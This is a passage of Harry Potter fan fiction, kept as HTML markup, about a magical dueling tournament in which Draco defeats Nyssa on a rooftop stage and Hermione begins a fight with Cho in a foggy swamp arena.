FIGHT!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Draco jumped from his place in front of the building and got a right nasty surprise when he soared half way up the building, passing the screen that showed him jumping along the way. At the peak of his jump, he realized he was going to start falling, so he leaned forward and landed on a window sill on the building. Letting out a sigh of relief, he kicked off of his perch and continued to window hop until he landed on the top of the buildings. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why do I feel uneasy about being this high?&#8221; he asked himself, looking around at the close roof tops. They were no more than four to six feet between most of them. There were bigger gaps along the sides of some builds, where roads were probably meant to go. If the boy had ever been to New York, he would have realized just how close it actually was to it. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>It&#8217;s because you don&#8217;t have control of &nbsp;your height like you do with a broom,</i>&#8221; Christina told him, making him nod. &#8220;<i>She&#8217;s at the other end, just got up.</i>&#8221; Draco set his eyes and leapt, easily clearing the building and landing on the next.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, I like this,&#8221; he breathed, running across the roof top and jumping to the next. &#8220;Come and get iiiitttttttttt Nyysssssaaaaaaaa!&#8221; he sang in a serious voice as he jumped. &#8220;Whoops!&#8221; He jumped a spell and landed in a hand spring, flipping back over and landing on his feet with a smirk and arms crossed over his chest; beaming proudly as if he had done the coolest thing in the world.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Allo Draco,&#8221; Nyssa rhymed, landing on a water tower looking thing across from him. &#8220;Ready to fight?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She says after casting a spell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It slipped.&#8221; Nyssa smiled at him, eyes laughing.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco gave the Slytherin smirk. &#8220;Think you can beat me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can try, although I must admit I don&#8217;t like heights.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let&#8217;s do it then!&#8221; He held out his left hand. &#8220;Flames of justice!&#8221; His hand caught fire, making Nyssa gasp. The blue flames licked at his arm, but didn&#8217;t move past his wrist. Then, without a warning, it shot into his wand. &#8220;Blazing heat!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Nyssa jumped from her perch and did a small flip in the air. She landed and jumped again. Turning to see what his spell had done, she was surprised to find the water tower she was just on was nothing more than a pool of quickly hardening metal. &#8220;Oh man, that would have hurt&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bolts of heaven!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Nyssa rolled as a lightning bolt crashed where she had been standing. She could feel the power tingle through the ground and shivered as it washed over her. The girl, however, was well trained just like every other member of the circle in the Muggle arts of kempo. She used this knowledge that only Professor Lupin had thought to teach them and pushed from the ground, spinning her legs, and righting herself to her feet. Just in time she pushed up from the ground and soared into the air.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco, caught off guard, barely missed the hex thrown at him. Looking up into the air, he realized that she jumped in such a way that her body was now right in the middle of the sun&#8217;s light. He made his way to the edge of the building and brought his hand in front of him to shade his eyes, but still didn&#8217;t see the movement she made because of the sun. The blond boy&#8217;s legs sudden clamped together and he teetered a moment before falling. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco grabbed hold of the ledge, but his wand fell from his grasp. Groaning, he let go of the ledge and fell after it. About a second later he realized just how dumb an idea that that was and forced his mind to run overtime as the windows blazed past him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Accio Wand!&#8221; He held out his left hand and forced his magic through his ring as he would with his wand. His wand shot to him and he quickly disenchanted his legs. His right hand moved out and caught the ledge of a window sill on the second floor of the building. &#8220;Sweet dancin&#8217; sisters,&#8221; he mused as he dangled. &#8220;That was hella close.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sweet Dancin&#8217; Sisters?&#8221; Ron asked slowly, making sure he heard right.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;&#8216;Hella&#8217; close?&#8221; Hermione ventured, both turning to look at Ginny, who blushed and put her face in her hand, embarrassed on Draco&#8217;s behalf at the corny sayings.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Draco kicked off from the building and, with Christina&#8217;s help, remembered the Muggle book he picked up when he bought his school supplies. HE recalled reading about a group called &#8217;ninjas&#8217; and their powers that allowed them to defy gravity and almost all natural laws without the aid of magic. Setting his face, he looked at the other wall of the building he was heading toward. </p>\n\n<p>&nbsp;</p>\n\n<p>Triangle jump.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s feet hit the wall and he brought his hand to it, almost as if he was clinging to it. Not even a second later, he kicked from it and went to the other building. He repeated the process almost eight times before he flipped and landed back on the building.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very impressive.&#8221; Nyssa clapped. &#8220;But not good enough.&#8221; She pointed her wand at him as he was standing up. &#8220;Petrificus totalus!&#8221; Draco saw the spell leave the wand tip and slapped it away with his left hand.</p>\n\n<p>&nbsp;</p>\n\n<p>The crowd went silent at the maneuver, but the two on the field wouldn&#8217;t have noticed a difference even if a bomb was dropped just outside of the arena. Nyssa was looking at him in shock while Draco was gaping at his hands.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>I can focus through my ring,&#8217;</i> he thought, looking at it. &#8216;<i>Like Harry still uses his wand, but he isn&#8217;t holding it...</i>&#8217;Experimentally, he looked at his hand and concentrated. A blue ball of flame appeared in his palm. &#8220;Oh <i>hell yes</i>!&#8221; He threw it at Nyssa, making her jump away. Draco ran at her, arm ablaze with blue fire and wand pocketed in his jeans. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Auaris!&#8221; Nyssa pointed her wand, spraying several gallons of water at him.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco jumped the blast and flung several fireballs at her. They hit their mark and sent the girl flying across a large gap in buildings and crash through a window on the other side of the non-existent street belong them. The Slytherin leapt off of the building after her, but was blasted back by a rather strong disarming spell. He felt himself falling and realized he was too far from the other building to make a come back jump. &#8216;<i>Am I going to lose</i>!?&#8217; he thought, watching the building windows once again flying upwards. &#8216;<i>After I just learned what I can do</i>?&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Do you want to fly?</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Nyssa rolled on the floor of the building to put out the flames licking at her body. She had just managed to pull off her spell before resorting to patting out the flames on her. When free of the fire, she took a steadying breath and winced at the burns covering her. &nbsp;Grimacing, she stood up shakily and felt a little nauseated when her burnt skin stretched out again to support her weight. She hobbled over to the broken window and let herself out, standing on a fire escape that she somehow had missed on her way in. What she saw then would forever be engraved in her memory.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco was in the air in front of her, his toes slightly down pointed and his arms crossed at his chest. His eyes were glowing blue and two sets of ash grey angel wings were flapping every five or so seconds to keep him airborne. What was more, his hands were both on fire as well. She swallowed as he uncrossed his arms and formed two fireballs in his hands. &#8220;Give?&#8221; he asked in a voice almost like a girl&#8217;s.</p>\n\n<p>&nbsp;</p>\n\n<p>Nyssa forced her mind to think clearly. She was a witch, he was a wizard. It was a spell. Nothing to be scared of. &#8220;No,&#8221; she breathed, jumping as the fireballs were hurled at her. She jumped from different window sills until they were both on the roof tops again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Miracle blast!&#8221; Draco/Christina shouted when his opponent was on the roof top. A beam shot from his out pointed finger and blasted a hole straight through the roof. Nyssa was shocked, but still had enough sense in her to shoot another spell at him, which he just batted away like a fly. </p>\n\n<p>&nbsp;</p>\n\n<p>The Angel in the air flew down at her so fast he left an after image of himself in the sky. The next thing Nyssa knew was the feeling of the ground being cruelly ripped away from her feet as she soared into the air. Then, she felt herself falling. Panic over took her as she saw the buildings screaming at her at an incredible speed. &#8220;I give!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Suddenly she found herself hugged into a strong chest and felt powerful arms around her. The fall stopped and she felt a slow flap of a breeze on her every now and then. Looking up, she saw Draco holding her. He no longer looked threatening, but she realized just how handsome he really was. He long whitish blond hair was flowing out behind him, long since out of his usual ponytail. His eyes looked down at her and his lips turned to the smirk that he always wore.&nbsp; The breeze hit her again and she realized that the wings were beating, making the wind move. Curiously, she moved an arm from his waist and reached to touch them, gasping at the silkiness of the feathers. </p>\n\n<p>&nbsp;</p>\n\n<p>The ground met her feet and she heard the crowd was screaming as loud (if not louder) as they had when Harry had fought.&nbsp; She then realized she lost the match. With a sigh, she watched Draco fly over the field to his friends.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nyssa you okay?&#8221; Cho asked, reaching her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I think I&#8217;m in love&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good job, Malfoy.&#8221; Hermione congratulated, smiling at him. &#8220;That was a really nice spell. Wings to fly instead of magic? Nice!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bloody brilliant.&#8221; Ron corrected her. &#8220;I didn&#8217;t think you had it in you!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked pleased with himself, but his face fell when he saw Ginny, not looking at him. He ignored Lee and Lupin going on and on about the match and walked over to the female redhead of the team. &#8220;Ginny?&#8221; he asked, getting a &#8216;Humph&#8217; from her and making her turn from him completely. &#8220;What&#8217;s wrong? Ginny? Gin?&#8221; He placed a hand on her shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh why don&#8217;t you go and touch <i>Nyssa,</i>&#8221; she sniffed, pulling her shoulder away from him. &#8220;You sure held <i>her</i> when you were in the air!&#8221; She turned again when he tried to look at her face. &#8220;Leave me alone!&nbsp; I hate you! Go to her! Don&#8217;t touch me! Don&#8217;t-&#8220;Ginny stopped screaming when she felt his arms around her waist and her back being pressed against his chest. She felt a feather-like flutter of a kiss on her ear.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t like her,&#8221; was all he said before releasing her slowly and turning to look at the group still celebrating over an unconscious Harry. &#8220;You told me to help people, so I did.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny flushed and looked at the ground. &#8220;Sorry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s okay.&#8221; He shrugged; making his wings shift as they slowly went into his back. &#8220;You&#8217;re cute when you&#8217;re jealous.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Jealous!?&#8221; Ginny instantly looked up, face matching her hair. &#8220;I wasn&#8217;t <i>jealous</i>! Really!&#8221; Draco didn&#8217;t look at her, but instead gazed over the field with that damn smirk of his. &#8220;Draco Malfoy, I was <i>not</i> jealous of you! <i>Honestly</i>!&#8221; Her face, however, clearly told she was.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head at the pair and walked to the stage. &#8220;I want to go next.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Win it for us.&#8221; Ron nodded at her. &#8220;Want the sunshades?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They really won&#8217;t help if we&#8217;re not fighting in teams.&#8221; Hermione smiled at him. &#8220;Thanks, though. Instead, could you pass me Harry&#8217;s necklace?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron gave her a weird look, but did as he was asked. Harry didn&#8217;t protest, as he was still asleep by the ring. Hermione gave a curt nod in thanks and put it on.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Helloooooo</i><i>,</i>&#8221; Celestial sang into her mind. &#8220;<i>How are you this lovely day, Hermione? Don&#8217;t you agree that Harry is a stubborn boy who doesn&#8217;t know when to quit?&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Hermione bit back a giggle. &#8216;<i>How is he?</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Oh he&#8217;s just fine. I told you once before we can&#8217;t talk while he sleeps, right?</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded. &#8216;<i>Yeah, that&#8217;s why I asked for you when I&#8217;m going out there. You can&#8217;t inspect him while his mind is asleep.</i>&#8217; The girl looked across the arena where Cho Chang was walking up the stairs.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s up next, professor?&#8221; Lee asked, obviously making himself sound like he was way beyond simply interested.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why, I&#8217;m glad you asked, Lee!&#8221; Lupin replied, also over acting. &#8220;Next stage we have a swamp like arena. Thick fog and unsteady footing. It&#8217;ll take a clear and well thought out mindset to win this one!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Rules of the following match!&#8221; Several people cheered. &#8220;Wand loss, Ring out, and a special for this match only; no count downs &#8211; as you can use the fog to hide, and knock out!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Sure you&#8217;re up to this?&#8221;</i>&nbsp; Celestial asked her, warily. &#8220;<i>Maybe you should use the sunshades. It would help you greatly.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>But the point of the match is to be able to hide. It would be more cheating than helping in this scenario.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Honest words.</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione smiled. &#8216;<i>Thanks</i>.&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;READY!?&#8221; The stage shifted quickly before them into a gross looking soggy grassy ground. There were a few trees scattered around, but it was mainly an open field. &#8220;FIGHT!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione ran forward, holding back a groan as her shoes sank almost an inch at each step. To top it off, there was now a thick magical fog that surrounded the arena. One could still see if they looked hard enough, but it was still highly annoying.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Electrus!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s mind went into danger mode as she heard the spell being called out. It was a lightening spell that came from the wand tip rather than from the air. Listening as she had been trained to do, she heard the crackling of energy and predicted where the spell was coming from. She guess right, but when she jumped out of the way, she found her feet sink deeply into the sludge of a groud. &#8220;Ewwwwww&#8230;&#8230;&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Jerking her feet out, Hermione ran in a half circle and saw her opponent, Cho, with her back turned. Taking advantage of it, she sprinted up to her and grabbed the girl in a choker hold. &#8220;Hiya, Cho!&#8221; she said into her ear. Her voice was happy, though.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hi, Hermione.&#8221; Cho flipped the girl off of her, but she landed on her feet. &#8220;Nice move.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks, you too.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This is an outrage!&#8221; Snape shouted, seeing the exchange on the screen. He was one of the judges today, sitting next to Dumbledore himself. &#8220;Albus, did you see that? Lupin is not teaching them magic! He&#8217;s teraching them&#8230;<i>Arts!</i>&#8221; He said the last word as if it was an insult to the entire magical community. &#8220;Clearly he is not doing his job!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, now, Severus,&#8221; Dumbledore said calmly. &#8220;I approved the teaching of Muggle Martial Arts as long as spells were still learned. The classed were split and the martial arts class was completely voluntary. However,&#8221; he took his eyes from the magical screen/cloud in the air showing the furious cat fight on the field and turned to him. &#8220;Every single sorcerer and sorceress signed up for it, so we made it a regular class and put it down as extra credit. Don&#8217;t worry, they are still learning as much magic as they are use of their bodies.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape kept a growl to himself, but could not keep his words from being whispered under his breath. &#8220;Muggle means are a waste of time in comparison to <i>real</i> magic&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~***~</p>\n\n<p>Hermione put up a shield to deflect the next attack and successfully deflected the spell. Following up, she gave a flick of her wrist and sent her flying back a few feet before landing and skidding in the sludge of a ground. Cho &#8216;ewwwww&#8217;ed at this, but stood up, more disgusted than hurt. &#8220;Hermione, that was uncalled for!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione laughed in reply. &#8220;But it was fun!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho held up her wand and two throwing stars appeared before her, hovering in the air. &#8220;It&#8217;s time we got serious.&#8221; She watched the stars spin in the air. &#8220;They are enchanted to paralyze whoever they hit.&#8221; She flung her wand forward, sending the stars to Hermione. &#8220;One scratch and you lose!&#8221; Hermione simply dropped to the ground to avoid them, and barely had a chance to move when they immediately changed course to hit her. The stars sank into the ground where she had just been. &#8220;Did I forget to mention that since this place is so foggy I put a heat seeking charm on them?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione rolled a few times before jumping to her feet and running away from the following stars. She then leapt to the side, making the projectiles fly past her. She turned on her heels and began to run where she had come from. She saw Cho&#8217;s figure slowly come into view through the fog.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>I won&#8217;t fall for that</i>.&#8217; Cho thought, grinning as Hermione ran toward her. &#8216;<i>Going to jump at the last second to make them hit me, are you? Well, I can stop that.</i>&#8217; The raven haired girl cast a quick no jumping zone spell in front of her. &#8216;<i>Let&#8217;s see you dodge now.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione grimaced. &#8216;<i>Are you sure?</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Trust me.</i>&#8221; Hermione grimaced, but ran forward anyway.</p>\n\n<p>&nbsp;</p>\n\n<p>Cho smirked as Hermione got close enough to make her move. What happened, however, shocked her. Hermione&#8217;s image was there, then gone the next. &#8220;Apparation!?&#8221; she cried. &#8220;But she doesn&#8217;t have a 